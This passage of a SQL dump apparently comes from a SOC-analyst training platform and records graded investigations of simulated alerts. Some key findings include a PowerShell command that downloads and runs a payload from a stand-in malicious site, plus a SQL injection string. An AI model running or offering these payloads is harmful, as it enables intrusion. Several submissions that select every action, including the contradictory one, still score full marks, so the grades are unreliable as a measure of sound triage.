'2026-03-03 03:14:28', '2026-03-07 08:20:36', 0, NULL),
(372, 178, 1361, 'graded', 100, 'Verdict is correct (+40). All critical artifacts identified (+30). Response actions correct (+30)', '{\"playbook_version\":2,\"checkedArtifacts\":[\"artifact_1\",\"artifact_2\",\"artifact_3\"],\"selectedActions\":[\"isolate_host\",\"block_hash\",\"collect_forensics\",\"close_alert\",\"block_ip\",\"reset_credentials\",\"escalate\"],\"verdict\":\"true_positive\",\"conclusion\":\"INVESTIGATION EXECUTIVE SUMMARY\\n===============================\\nDATE: 3/3/2026, 3:42:42 PM\\nALERT: Initial Access via Trojanized Trading App [OP: Operation TraderTraitor]\\nVERDICT: TRUE POSITIVE\\n\\nKEY FINDINGS (3)\\n----------------\\n- [IP] 203.0.113.45\\n- [HASH] 5f4dcc3b5aa765d61d8327deb882cf99\\n- [FILENAME] TradePlusPro_Setup.exe\\n\\nCONTAINMENT PROTOCOLS DEPLOYED (7)\\n------------------------------\\n- Isolate Host\\n- Block IP/Domain\\n- Block File Hash\\n- Reset Credentials\\n- Collect Forensics\\n- Escalate to Tier 3\\n- Close (No Action)\\n\\nANALYSIS\\n--------\\nInvestigation concluded based on verified telemetry and playbook protocols. All identified threats have been neutralized or escalated as per standard operating procedure.\\n\\nSIGNED: Analyst (Auto-Generated)\",\"submitted_at\":\"2026-03-03T08:42:53.354Z\"}', '{\"verdict_correctness\":\"Correct\",\"key_findings\":\"Verdict is correct (+40). All critical artifacts identified (+30). Response actions correct (+30)\",\"missed_items\":[],\"strengths\":\"Solid analysis\"}', '2026-03-03 11:47:33', '2026-03-03 08:41:33', '2026-03-03 08:42:53', 0, NULL),
(373, 178, 1362, 'graded', 100, 'Verdict is correct (+40). All critical artifacts identified (+30). Response actions correct (+30)', '{\"playbook_version\":2,\"checkedArtifacts\":[\"ip-192.168.1.25\",\"ip-185.100.87.202\",\"artifact_3\",\"artifact_4\",\"artifact_5\"],\"selectedActions\":[\"isolate_host\",\"block_hash\",\"collect_forensics\",\"close_alert\",\"block_ip\",\"reset_credentials\",\"escalate\"],\"verdict\":\"true_positive\",\"conclusion\":\"INVESTIGATION EXECUTIVE SUMMARY\\n===============================\\nDATE: 3/3/2026, 3:44:49 PM\\nALERT: Execution of Remote Access Trojan (RAT) [OP: Operation TraderTraitor]\\nVERDICT: TRUE POSITIVE\\n\\nKEY FINDINGS (5)\\n----------------\\n- [IP] 192.168.1.25\\n- [IP] 185.100.87.202\\n- [HASH] b9f7b3e3f5ab4a3a8f1a2f4e2a7b9d8c\\n- [USERNAME] jdoe\\n- [FILENAME] rat_executable.exe\\n\\nCONTAINMENT PROTOCOLS DEPLOYED (7)\\n------------------------------\\n- Isolate Host\\n- Block IP/Domain\\n- Block File Hash\\n- Reset Credentials\\n- Collect Forensics\\n- Escalate to Tier 3\\n- Close (No Action)\\n\\nANALYSIS\\n--------\\nInvestigation concluded based on verified telemetry and playbook protocols. All identified threats have been neutralized or escalated as per standard operating procedure.\\n\\nSIGNED: Analyst (Auto-Generated)\",\"submitted_at\":\"2026-03-03T08:44:54.733Z\"}', '{\"verdict_correctness\":\"Correct\",\"key_findings\":\"Verdict is correct (+40). All critical artifacts identified (+30). Response actions correct (+30)\",\"missed_items\":[],\"strengths\":\"Solid analysis\"}', NULL, '2026-03-03 08:42:53', '2026-03-03 08:44:54', 0, NULL),
(374, 178, 1363, 'graded', 100, 'Verdict is correct (+40). All critical artifacts identified (+30). Response actions correct (+30)', '{\"playbook_version\":2,\"checkedArtifacts\":[\"ip-203.0.113.45\",\"ip-192.168.1.105\",\"artifact_3\",\"artifact_4\",\"artifact_5\"],\"selectedActions\":[\"isolate_host\",\"block_hash\",\"collect_forensics\",\"close_alert\",\"block_ip\",\"reset_credentials\",\"escalate\"],\"verdict\":\"true_positive\",\"conclusion\":\"INVESTIGATION EXECUTIVE SUMMARY\\n===============================\\nDATE: 3/3/2026, 3:46:36 PM\\nALERT: Persistence through Credential Theft [OP: Operation TraderTraitor]\\nVERDICT: TRUE POSITIVE\\n\\nKEY FINDINGS (5)\\n----------------\\n- [IP] 203.0.113.45\\n- [IP] 192.168.1.105\\n- [USERNAME] jdoe\\n- [HASH] f7a2edb1b4567e2d5f8e8497c9a3f378\\n- [FILENAME] wannacry.exe\\n\\nCONTAINMENT PROTOCOLS DEPLOYED (7)\\n------------------------------\\n- Isolate Host\\n- Block IP/Domain\\n- Block File Hash\\n- Reset Credentials\\n- Collect Forensics\\n- Escalate to Tier 3\\n- Close (No Action)\\n\\nANALYSIS\\n--------\\nInvestigation concluded based on verified telemetry and playbook protocols. All identified threats have been neutralized or escalated as per standard operating procedure.\\n\\nSIGNED: Analyst (Auto-Generated)\",\"submitted_at\":\"2026-03-03T08:46:47.762Z\"}', '{\"verdict_correctness\":\"Correct\",\"key_findings\":\"Verdict is correct (+40). All critical artifacts identified (+30). Response actions correct (+30)\",\"missed_items\":[],\"strengths\":\"Solid analysis\"}', NULL, '2026-03-03 08:44:54', '2026-03-03 08:46:47', 0, NULL),
(375, 233, 268, 'investigating', NULL, NULL, NULL, NULL, NULL, '2026-03-03 09:48:25', '2026-03-03 09:48:25', 0, NULL);
INSERT INTO `investigations` (`id`, `user_id`, `alert_id`, `status`, `grade`, `feedback`, `executive_summary`, `ai_summary`, `ai_evaluation_scheduled_at`, `created_at`, `updated_at`, `is_reported`, `report_reason`) VALUES
(376, 233, 1386, 'graded', 100, 'Verdict is correct (+40). Artifact analysis completed (+30). Response actions correct (+30)', '{\"playbook_version\":2,\"checkedArtifacts\":[\"ip-10.1.1.1\",\"ip-10.1.1.10\"],\"selectedActions\":[\"close_alert\"],\"verdict\":\"false_positive\",\"conclusion\":\"INVESTIGATION EXECUTIVE SUMMARY\\n===============================\\nDATE: 3/3/2026, 1:13:19 PM\\nALERT: False Positive: Routine Internal Network Scan\\nVERDICT: FALSE POSITIVE\\n\\nKEY FINDINGS (2)\\n----------------\\n- [IP] 10.1.1.1\\n- [IP] 10.1.1.10\\n\\nCONTAINMENT PROTOCOLS DEPLOYED (1)\\n------------------------------\\n- Close (No Action)\\n\\nANALYSIS\\n--------\\nInvestigation concluded based on verified telemetry and playbook protocols. All identified threats have been neutralized or escalated as per standard operating procedure.\\n\\nSIGNED: Analyst (Auto-Generated)\",\"submitted_at\":\"2026-03-03T12:13:40.895Z\"}', '{\"verdict_correctness\":\"Correct\",\"key_findings\":\"Verdict is correct (+40). Artifact analysis completed (+30). Response actions correct (+30)\",\"missed_items\":[],\"strengths\":\"Solid analysis\"}', '2026-03-03 15:15:41', '2026-03-03 12:10:41', '2026-03-03 12:13:40', 0, NULL),
(377, 233, 847, 'graded', 85, 'Verdict is correct (+40). All critical artifacts identified (+30). Missed response actions (1/2)', '{\"playbook_version\":2,\"checkedArtifacts\":[\"ip-198.51.100.45\",\"ip-192.168.1.150\",\"artifact_2\"],\"selectedActions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\",\"escalate\",\"reset_credentials\"],\"verdict\":\"true_positive\",\"conclusion\":\"INVESTIGATION EXECUTIVE SUMMARY\\n===============================\\nDATE: 3/3/2026, 1:15:19 PM\\nALERT: SQL Injection Attempt Blocked\\nVERDICT: TRUE POSITIVE\\n\\nKEY FINDINGS (3)\\n----------------\\n- [IP] 198.51.100.45\\n- [IP] 192.168.1.150\\n- [PAYLOAD] \' OR \'1\'=\'1\' --\\n\\nCONTAINMENT PROTOCOLS DEPLOYED (6)\\n------------------------------\\n- Isolate Host\\n- Block IP/Domain\\n- Block File Hash\\n- Reset Credentials\\n- Collect Forensics\\n- Escalate to Tier 3\\n\\nANALYSIS\\n--------\\nInvestigation concluded based on verified telemetry and playbook protocols. All identified threats have been neutralized or escalated as per standard operating procedure.\\n\\nSIGNED: Analyst (Auto-Generated)\",\"submitted_at\":\"2026-03-03T12:15:21.924Z\"}', '{\"verdict_correctness\":\"Correct\",\"key_findings\":\"Verdict is correct (+40). All critical artifacts identified (+30). Missed response actions (1/2)\",\"missed_items\":[\"close_alert\"],\"strengths\":\"Solid analysis\"}', '2026-03-03 15:20:57', '2026-03-03 12:13:57', '2026-03-03 12:15:21', 0, NULL),
(378, 56, 1361, 'investigating', NULL, NULL, NULL, NULL, NULL, '2026-03-03 15:51:36', '2026-03-03 15:51:36', 0, NULL),
(379, 56, 1392, 'investigating', NULL, NULL, NULL, NULL, '2026-03-03 19:02:37', '2026-03-03 15:52:37', '2026-03-03 15:52:37', 0, NULL),
(380, 234, 268, 'investigating', NULL, NULL, NULL, NULL, NULL, '2026-03-03 19:44:00', '2026-03-03 19:44:00', 0, NULL),
(381, 234, 1433, 'investigating', NULL, NULL, NULL, NULL, '2026-03-03 22:51:21', '2026-03-03 19:44:21', '2026-03-03 19:44:21', 0, NULL),
(382, 235, 268, 'investigating', NULL, NULL, NULL, NULL, NULL, '2026-03-03 20:13:02', '2026-03-03 20:13:02', 0, NULL),
(383, 235, 1378, 'investigating', NULL, NULL, NULL, NULL, '2026-03-03 23:20:28', '2026-03-03 20:14:28', '2026-03-03 20:14:28', 0, NULL),
(384, 237, 268, 'investigating', NULL, NULL, NULL, NULL, NULL, '2026-03-03 23:25:53', '2026-03-03 23:25:53', 0, NULL),
(385, 189, 305, 'graded', 100, 'Verdict is correct (+40). All critical artifacts identified (+30). Response actions correct (+30)', '{\"playbook_version\":2,\"checkedArtifacts\":[\"ip-192.168.1.100\",\"ip-203.0.113.45\",\"hash-e3b0c442\",\"cmd-1\",\"artifact_3\",\"artifact_4\"],\"selectedActions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"verdict\":\"true_positive\",\"conclusion\":\"INVESTIGATION EXECUTIVE SUMMARY\\n===============================\\nDATE: 3/4/2026, 2:49:48 AM\\nALERT: Suspicious PowerShell Execution [OP: Operation Desert Mirage]\\nVERDICT: TRUE POSITIVE\\n\\nKEY FINDINGS (6)\\n----------------\\n- [IP] 192.168.1.100\\n- [IP] 203.0.113.45\\n- [HASH] e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855\\n- [COMMAND] powershell -NoProfile -ExecutionPolicy Bypass -Command \\\"IEX(New-Object Net.WebClient).DownloadString(\'http://malicioussite.com/payload\')\\\"\\n- [FILENAME] malicious_script.ps1\\n- [USERNAME] john.doe\\n\\nCONTAINMENT PROTOCOLS DEPLOYED (6)\\n------------------------------\\n- Isolate Host\\n- Block IP/Domain\\n- Block File Hash\\n- Reset Credentials\\n- Collect Forensics\\n- Escalate to Tier 3\\n\\nANALYSIS\\n--------\\nInvestigation concluded based on verified telemetry and playbook protocols. All identified threats have been neutralized or escalated as per standard operating procedure.\\n\\nSIGNED: Amadou MANE\",\"submitted_at\":\"2026-03-04T01:50:03.419Z\"}', '{\"verdict_correctness\":\"Correct\",\"key_findings\":\"Verdict is correct (+40). All critical artifacts identified (+30). Response actions correct (+30)\",\"missed_items\":[],\"strengths\":\"Solid analysis\"}', NULL, '2026-03-04 01:46:47', '2026-03-04 01:50:03', 0, NULL),
(386, 189, 306, 'graded', 100, 'Verdict is correct (+40). All critical artifacts identified (+30). Response actions correct (+30)', '{\"playbook_version\":2,\"checkedArtifacts\":[\"ip-203.0.113.45\",\"ip-192.168.1.10\",\"hash-5d41402a\",\"artifact_3\",\"artifact_5\"],\"selectedActions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"verdict\":\"true_positive\",\"conclusion\":\"INVESTIGATION EXECUTIVE SUMMARY\\n===============================\\nDATE: 3/4/2026, 2:51:13 AM\\nALERT: Persistence Mechanism Established [OP: Operation Desert Mirage]\\nVERDICT: TRUE POSITIVE\\n\\nKEY FINDINGS (5)\\n----------------\\n- [IP] 203.0.113.45\\n- [IP] 192.168.1.10\\n- [HASH] 5d41402abc4b2a76b9719d911017c592\\n- [USERNAME] john.doe\\n- [FILENAME] taskhost.exe\\n\\nCONTAINMENT PROTOCOLS DEPLOYED (6)\\n------------------------------\\n- Isolate Host\\n- Block IP/Domain\\n- Block File Hash\\n- Reset Credentials\\n- Collect Forensics\\n- Escalate to Tier 3\\n\\nANALYSIS\\n--------\\nInvestigation concluded based on verified telemetry and playbook protocols. All identified threats have been neutralized or escalated as per standard operating procedure.\\n\\nSIGNED: AMADOU MANE\",\"submitted_at\":\"2026-03-04T01:51:27.139Z\"}', '{\"verdict_correctness\":\"Correct\",\"key_findings\":\"Verdict is correct (+40). All critical artifacts identified (+30). Response actions correct (+30)\",\"missed_items\":[],\"strengths\":\"Solid analysis\"}', NULL, '2026-03-04 01:50:03', '2026-03-04 01:51:27', 0, NULL),
(387, 189, 307, 'graded', 100, 'Verdict is correct (+40). All critical artifacts identified (+30). Response actions correct (+30)', '{\"playbook_version\":2,\"checkedArtifacts\":[\"ip-192.168.1.15\",\"ip-192.168.1.20\",\"ip-203.0.113.45\",\"hash-b1946ac9\",\"artifact_3\"],\"selectedActions\":[\"isolate_host\",\"block_ip\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"verdict\":\"true_positive\",\"conclusion\":\"INVESTIGATION EXECUTIVE SUMMARY\\n===============================\\nDATE: 3/4/2026, 2:52:56 AM\\nALERT: Unauthorized Lateral Movement Detected [OP: Operation Desert Mirage]\\nVERDICT: TRUE POSITIVE\\n\\nKEY FINDINGS (5)\\n----------------\\n- [IP] 192.168.1.15\\n- [IP] 192.168.1.20\\n- [IP] 203.0.113.45\\n- [HASH] b1946ac92492d2347c6235b4d2611184\\n- [USERNAME] j.doe\\n\\nCONTAINMENT PROTOCOLS DEPLOYED (5)\\n------------------------------\\n- Isolate Host\\n- Block IP/Domain\\n- Reset Credentials\\n- Collect Forensics\\n- Escalate to Tier 3\\n\\nANALYSIS\\n--------\\nInvestigation concluded based on verified telemetry and playbook protocols. All identified threats have been neutralized or escalated as per standard operating procedure.\\n\\nSIGNED: Amadoou MANE\",\"submitted_at\":\"2026-03-04T01:53:15.347Z\"}', '{\"verdict_correctness\":\"Correct\",\"key_findings\":\"Verdict is correct (+40). All critical artifacts identified (+30). Response actions correct (+30)\",\"missed_items\":[],\"strengths\":\"Solid analysis\"}', NULL, '2026-03-04 01:51:27', '2026-03-04 01:53:15', 0, NULL),
(388, 189, 308, 'graded', 100, 'Verdict is correct (+40). All critical artifacts identified (+30). Response actions correct (+30)', '{\"playbook_version\":2,\"checkedArtifacts\":[\"ip-10.1.2.15\",\"ip-203.0.113.45\",\"hash-f2ca1bb6\",\"domain-https://mali\",\"artifact_5\",\"artifact_6\"],\"selectedActions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"verdict\":\"true_positive\",\"conclusion\":\"INVESTIGATION EXECUTIVE SUMMARY\\n===============================\\nDATE: 3/4/2026, 2:54:38 AM\\nALERT: Data Exfiltration Attempt [OP: Operation Desert Mirage]\\nVERDICT: TRUE POSITIVE\\n\\nKEY FINDINGS (6)\\n----------------\\n- [IP] 10.1.2.15\\n- [IP] 203.0.113.45\\n- [HASH] f2ca1bb6c7e907d06dafe4687e579fce\\n- [DOMAIN] https://malicious-c2.com/exfil\\n- [FILENAME] geo_data_export.zip\\n- [USERNAME] jdoe\\n\\nCONTAINMENT PROTOCOLS DEPLOYED (6)\\n------------------------------\\n- Isolate Host\\n- Block IP/Domain\\n- Block File Hash\\n- Reset Credentials\\n- Collect Forensics\\n- Escalate to Tier 3\\n\\nANALYSIS\\n--------\\nInvestigation concluded based on verified telemetry and playbook protocols. All identified threats have been neutralized or escalated as per standard operating procedure.\\n\\nSIGNED: Amadou MANE\",\"submitted_at\":\"2026-03-04T01:54:55.259Z\"}', '{\"verdict_correctness\":\"Correct\",\"key_findings\":\"Verdict is correct (+40). All critical artifacts identified (+30). Response actions correct (+30)\",\"missed_items\":[],\"strengths\":\"Solid analysis\"}', NULL, '2026-03-04 01:53:15', '2026-03-04 01:54:55', 0, NULL),
(389, 237, 693, 'investigating', NULL, NULL, NULL, NULL, '2026-03-04 19:07:30', '2026-03-04 15:58:30', '2026-03-04 15:58:30', 0, NULL),
(390, 237, 1435, 'investigating', NULL, NULL, NULL, NULL, '2026-03-04 19:13:10', '2026-03-04 16:07:10', '2026-03-04 16:07:10', 0, NULL),
(391, 241, 268, 'investigating', NULL, NULL, NULL, NULL, NULL, '2026-03-04 16:22:18', '2026-03-04 16:22:18', 0, NULL),
(392, 244, 268, 'investigating', NULL, NULL, NULL, NULL, NULL, '2026-03-04 20:19:53', '2026-03-04 20:19:53', 0, NULL),
(393, 245, 268, 'investigating', NULL, NULL, NULL, NULL, NULL, '2026-03-05 04:55:30', '2026-03-05 04:55:30', 0, NULL),
(394, 225, 606, 'graded', 100, 'Verdict is correct (+40). All critical artifacts identified (+30). Response actions correct (+30)', '{\"playbook_version\":2,\"checkedArtifacts\":[\"ip-198.51.100.25\",\"artifact_2\"],\"selectedActions\":[\"block_ip\",\"reset_credentials\"],\"verdict\":\"true_positive\",\"conclusion\":\"INVESTIGATION EXECUTIVE SUMMARY\\n===============================\\nDATE: 3/5/2026, 4:18:59 PM\\nALERT: Failed Login Attempts from Foreign IP\\nVERDICT: TRUE POSITIVE\\n\\nKEY FINDINGS (2)\\n----------------\\n- [IP] 198.51.100.25\\n- [USERNAME] admin\\n\\nCONTAINMENT PROTOCOLS DEPLOYED (2)\\n------------------------------\\n- Block IP/Domain\\n- Reset Credentials\\n\\nANALYSIS\\n--------\\nInvestigation concluded based on verified telemetry and playbook protocols. All identified threats have been neutralized or escalated as per standard operating procedure.\\n\\nSIGNED: Analyst (Auto-Generated)\",\"submitted_at\":\"2026-03-05T05:19:14.654Z\"}', '{\"verdict_correctness\":\"Correct\",\"key_findings\":\"Verdict is correct (+40). All critical artifacts identified (+30). Response actions correct (+30)\",\"missed_items\":[],\"strengths\":\"Solid analysis\"}', '2026-03-05 08:27:03', '2026-03-05 05:17:03', '2026-03-05 05:19:14', 0, NULL),
(395, 225, 1446, 'graded', 100, 'Verdict is correct (+40). All critical artifacts identified (+30). Response actions correct (+30)', '{\"playbook_version\":2,\"checkedArtifacts\":[\"ip-203.0.113.45\",\"ip-192.168.1.10\",\"hash-d41d8cd9\",\"artifact_4\"],\"selectedActions\":[\"isolate_host\",\"block_hash\",\"collect_forensics\",\"escalate\",\"block_ip\",\"reset_credentials\"],\"verdict\":\"true_positive\",\"conclusion\":\"INVESTIGATION EXECUTIVE SUMMARY\\n===============================\\nDATE: 3/5/2026, 4:21:49 PM\\nALERT: Suspicious App Download Detected [OP: Operation AppleJeus]\\nVERDICT: TRUE POSITIVE\\n\\nKEY FINDINGS (4)\\n----------------\\n- [IP] 203.0.113.45\\n- [IP] 192.168.1.10\\n- [HASH] d41d8cd98f00b204e9800998ecf8427e\\n- [FILENAME] CryptoTraderProSetup.exe\\n\\nCONTAINMENT PROTOCOLS DEPLOYED (6)\\n------------------------------\\n- Isolate Host\\n- Block IP/Domain\\n- Block File Hash\\n- Reset Credentials\\n- Collect Forensics\\n- Escalate to Tier 3\\n\\nANALYSIS\\n--------\\nInvestigation concluded based on verified telemetry and playbook protocols. All identified threats have been neutralized or escalated as per standard operating procedure.\\n\\nSIGNED: Analyst (Auto-Generated)\",\"submitted_at\":\"2026-03-05T05:21:53.666Z\"}', '{\"verdict_correctness\":\"Correct\",\"key_findings\":\"Verdict is correct (+40). All critical artifacts identified (+30). Response actions correct (+30)\",\"missed_items\":[],\"strengths\":\"Solid analysis\"}', '2026-03-05 08:30:20', '2026-03-05 05:20:20', '2026-03-05 05:21:53', 0, NULL),
(396, 225, 1447, 'graded', 100, 'Verdict is correct (+40). All critical artifacts identified (+30). Response actions correct (+30)', '{\"playbook_version\":2,\"checkedArtifacts\":[\"ip-143.110.227.12\",\"hash-e99a18c4\",\"cmd-1\",\"artifact_3\"],\"selectedActions\":[\"isolate_host\",\"block_hash\",\"collect_forensics\",\"escalate\",\"reset_credentials\",\"block_ip\"],\"verdict\":\"true_positive\",\"conclusion\":\"INVESTIGATION EXECUTIVE SUMMARY\\n===============================\\nDATE: 3/5/2026, 4:23:20 PM\\nALERT: Execution of Unknown Scripts [OP: Operation AppleJeus]\\nVERDICT: TRUE POSITIVE\\n\\nKEY FINDINGS (4)\\n----------------\\n- [IP] 143.110.227.12\\n- [HASH] e99a18c428cb38d5f260853678922e03\\n- [COMMAND] powershell.exe -ExecutionPolicy Bypass -File hidden_script.ps1\\n- [FILENAME] hidden_script.ps1\\n\\nCONTAINMENT PROTOCOLS DEPLOYED (6)\\n------------------------------\\n- Isolate Host\\n- Block IP/Domain\\n- Block File Hash\\n- Reset Credentials\\n- Collect Forensics\\n- Escalate to Tier 3\\n\\nANALYSIS\\n--------\\nInvestigation concluded based on verified telemetry and playbook protocols. All identified threats have been neutralized or escalated as per standard operating procedure.\\n\\nSIGNED: Analyst (Auto-Generated)\",\"submitted_at\":\"2026-03-05T05:23:22.318Z\"}', '{\"verdict_correctness\":\"Correct\",\"key_findings\":\"Verdict is correct (+40). All critical artifacts identified (+30). Response actions correct (+30)\",\"missed_items\":[],\"strengths\":\"Solid analysis\"}', NULL, '2026-03-05 05:21:53', '2026-03-05 05:23:22', 0, NULL),
(397, 225, 1448, 'graded', 100, 'Verdict is correct (+40). All critical artifacts identified (+30). Response actions correct (+30)', '{\"playbook_version\":2,\"checkedArtifacts\":[\"ip-192.168.1.15\",\"ip-203.0.113.45\",\"hash-5d41402a\"],\"selectedActions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"verdict\":\"true_positive\",\"conclusion\":\"INVESTIGATION EXECUTIVE SUMMARY\\n===============================\\nDATE: 3/5/2026, 4:24:40 PM\\nALERT: Establishment of Persistence Mechanism [OP: Operation AppleJeus]\\nVERDICT: TRUE POSITIVE\\n\\nKEY FINDINGS (3)\\n----------------\\n- [IP] 192.168.1.15\\n- [IP] 203.0.113.45\\n- [HASH] 5d41402abc4b2a76b9719d911017c592\\n\\nCONTAINMENT PROTOCOLS DEPLOYED (6)\\n------------------------------\\n- Isolate Host\\n- Block IP/Domain\\n- Block File Hash\\n- Reset Credentials\\n- Collect Forensics\\n- Escalate to Tier 3\\n\\nANALYSIS\\n--------\\nInvestigation concluded based on verified telemetry and playbook protocols. All identified threats have been neutralized or escalated as per standard operating procedure.\\n\\nSIGNED: Analyst (Auto-Generated)\",\"submitted_at\":\"2026-03-05T05:24:43.195Z\"}', '{\"verdict_correctness\":\"Correct\",\"key_findings\":\"Verdict is correct (+40). All critical artifacts identified (+30). Response actions correct (+30)\",\"missed_items\":[],\"strengths\":\"Solid analysis\"}', NULL, '2026-03-05 05:23:22', '2026-03-05 05:24:43', 0, NULL),
(398, 225, 1449, 'graded', 100, 'Verdict is correct (+40). All critical artifacts identified (+30). Response actions correct (+30)', '{\"playbook_version\":2,\"checkedArtifacts\":[\"ip-203.0.113.45\",\"ip-10.0.0.15\",\"hash-6f5902ac\",\"artifact_3\",\"artifact_5\"],\"selectedActions\":[\"isolate_host\",\"block_hash\",\"collect_forensics\",\"escalate\",\"reset_credentials\",\"block_ip\"],\"verdict\":\"true_positive\",\"conclusion\":\"INVESTIGATION EXECUTIVE SUMMARY\\n===============================\\nDATE: 3/5/2026, 4:26:13 PM\\nALERT: Unauthorized Lateral Movement Attempt [OP: Operation AppleJeus]\\nVERDICT: TRUE POSITIVE\\n\\nKEY FINDINGS (5)\\n----------------\\n- [IP] 203.0.113.45\\n- [IP] 10.0.0.15\\n- [HASH] 6f5902ac237024bdd0c176cb93063dc4\\n- [USERNAME] jdoe\\n- [FILENAME] mimikatz.exe\\n\\nCONTAINMENT PROTOCOLS DEPLOYED (6)\\n------------------------------\\n- Isolate Host\\n- Block IP/Domain\\n- Block File Hash\\n- Reset Credentials\\n- Collect Forensics\\n- Escalate to Tier 3\\n\\nANALYSIS\\n--------\\nInvestigation concluded based on verified telemetry and playbook protocols. All identified threats have been neutralized or escalated as per standard operating procedure.\\n\\nSIGNED: Analyst (Auto-Generated)\",\"submitted_at\":\"2026-03-05T05:26:15.724Z\"}', '{\"verdict_correctness\":\"Correct\",\"key_findings\":\"Verdict is correct (+40). All critical artifacts identified (+30). Response actions correct (+30)\",\"missed_items\":[],\"strengths\":\"Solid analysis\"}', NULL, '2026-03-05 05:24:43', '2026-03-05 05:26:15', 0, NULL),
(399, 225, 1450, 'graded', 100, 'Verdict is correct (+40). All critical artifacts identified (+30). Response actions correct (+30)', '{\"playbook_version\":2,\"checkedArtifacts\":[\"ip-10.0.0.101\",\"ip-203.0.113.45\",\"hash-b1946ac9\",\"artifact_3\",\"artifact_5\"],\"selectedActions\":[\"block_ip\",\"reset_credentials\",\"escalate\",\"collect_forensics\",\"block_hash\",\"isolate_host\"],\"verdict\":\"true_positive\",\"conclusion\":\"INVESTIGATION EXECUTIVE SUMMARY\\n===============================\\nDATE: 3/5/2026, 4:27:13 PM\\nALERT: Sensitive Data Exfiltration Detected [OP: Operation AppleJeus]\\nVERDICT: TRUE POSITIVE\\n\\nKEY FINDINGS (5)\\n----------------\\n- [IP] 10.0.0.101\\n- [IP] 203.0.113.45\\n- [HASH] b1946ac92492d2347c6235b4d2611184\\n- [FILENAME] wallet_keys.txt\\n- [USERNAME] jdoe\\n\\nCONTAINMENT PROTOCOLS DEPLOYED (6)\\n------------------------------\\n- Isolate Host\\n- Block IP/Domain\\n- Block File Hash\\n- Reset Credentials\\n- Collect Forensics\\n- Escalate to Tier 3\\n\\nANALYSIS\\n--------\\nInvestigation concluded based on verified telemetry and playbook protocols. All identified threats have been neutralized or escalated as per standard operating procedure.\\n\\nSIGNED: Analyst (Auto-Generated)\",\"submitted_at\":\"2026-03-05T05:27:14.809Z\"}', '{\"verdict_correctness\":\"Correct\",\"key_findings\":\"Verdict is correct (+40). All critical artifacts identified (+30). Response actions correct (+30)\",\"missed_items\":[],\"strengths\":\"Solid analysis\"}', NULL, '2026-03-05 05:26:15', '2026-03-05 05:27:14', 0, NULL),
(400, 246, 268, 'investigating', NULL, NULL, NULL, NULL, NULL, '2026-03-05 07:51:20', '2026-03-05 07:51:20', 0, NULL),
(401, 246, 1383, 'investigating', NULL, NULL, NULL, NULL, '2026-03-05 11:03:39', '2026-03-05 07:54:39', '2026-03-05 07:54:39', 0, NULL),
(402, 247, 268, 'investigating', NULL, NULL, NULL, NULL, NULL, '2026-03-05 11:37:14', '2026-03-05 11:37:14', 0, NULL),
(403, 247, 1438, 'investigating', NULL, NULL, NULL, NULL, '2026-03-05 14:47:39', '2026-03-05 11:37:39', '2026-03-05 11:37:39', 0, NULL),
(404, 248, 268, 'graded', 78, 'Verdict is correct (+40). All critical artifacts identified (+30). Missed response actions (1/4)', '{\"playbook_version\":2,\"checkedArtifacts\":[\"ip-192.168.1.100\",\"ip-10.0.0.15\",\"ip-203.0.113.45\",\"artifact_1\",\"artifact_3\"],\"selectedActions\":[\"block_ip\",\"isolate_host\"],\"verdict\":\"true_positive\",\"conclusion\":\"INVESTIGATION EXECUTIVE SUMMARY\\n===============================\\nDATE: 3/13/2026, 4:31:41 PM\\nALERT: Phishing Email Detected [OP: Operation Iron Grid]\\nVERDICT: TRUE POSITIVE\\n\\nKEY FINDINGS (5)\\n----------------\\n- [IP] 192.168.1.100\\n- [IP] 10.0.0.15\\n- [IP] 203.0.113.45\\n- [EMAIL] abc123@example.com\\n- [HASH] 3a7bd3e2360f1edb0f3b4e5c7b6e9d5a\\n\\nCONTAINMENT PROTOCOLS DEPLOYED (2)\\n------------------------------\\n- Isolate Host\\n- Block IP/Domain\\n\\nANALYSIS\\n--------\\nInvestigation concluded based on verified telemetry and playbook protocols. All identified threats have been neutralized or escalated as per standard operating procedure.\\n\\nSIGNED: Analyst (Auto-Generated)\",\"submitted_at\":\"2026-03-13T13:32:23.474Z\"}', '{\"verdict_correctness\":\"Correct\",\"key_findings\":\"Verdict is correct (+40). All critical artifacts identified (+30). Missed response actions (1/4)\",\"missed_items\":[\"block_hash\",\"collect_forensics\",\"escalate\"],\"strengths\":\"Needs improvement\"}', NULL, '2026-03-05 17:39:52', '2026-03-13 13:32:23', 0, NULL),
(405, 225, 854, 'graded', 100, 'Verdict is correct (+40). Artifact analysis completed (+30). Response actions correct (+30)', '{\"playbook_version\":2,\"checkedArtifacts\":[\"ip-10.0.0.5\",\"ip-192.168.100.100\",\"domain-https://mark\"],\"selectedActions\":[\"close_alert\"],\"verdict\":\"false_positive\",\"conclusion\":\"INVESTIGATION EXECUTIVE SUMMARY\\n===============================\\nDATE: 3/6/2026, 9:34:00 AM\\nALERT: False Positive: Legitimate QR Code Scanning Detected\\nVERDICT: FALSE POSITIVE\\n\\nKEY FINDINGS (3)\\n----------------\\n- [IP] 10.0.0.5\\n- [IP] 192.168.100.100\\n- [DOMAIN] https://marketing.retailcorp.com/qrcampaign\\n\\nCONTAINMENT PROTOCOLS DEPLOYED (1)\\n------------------------------\\n- Close (No Action)\\n\\nANALYSIS\\n--------\\nInvestigation concluded based on verified telemetry and playbook protocols. All identified threats have been neutralized or escalated as per standard operating procedure.\\n\\nSIGNED: Analyst (Auto-Generated)\",\"submitted_at\":\"2026-03-05T22:34:12.678Z\"}', '{\"verdict_correctness\":\"Correct\",\"key_findings\":\"Verdict is correct (+40). Artifact analysis completed (+30). Response actions correct (+30)\",\"missed_items\":[],\"strengths\":\"Solid analysis\"}', '2026-03-06 01:42:53', '2026-03-05 22:32:53', '2026-03-05 22:34:12', 0, NULL),
(406, 250, 268, 'investigating', NULL, NULL, NULL, NULL, NULL, '2026-03-06 02:52:55', '2026-03-06 02:52:55', 0, NULL),
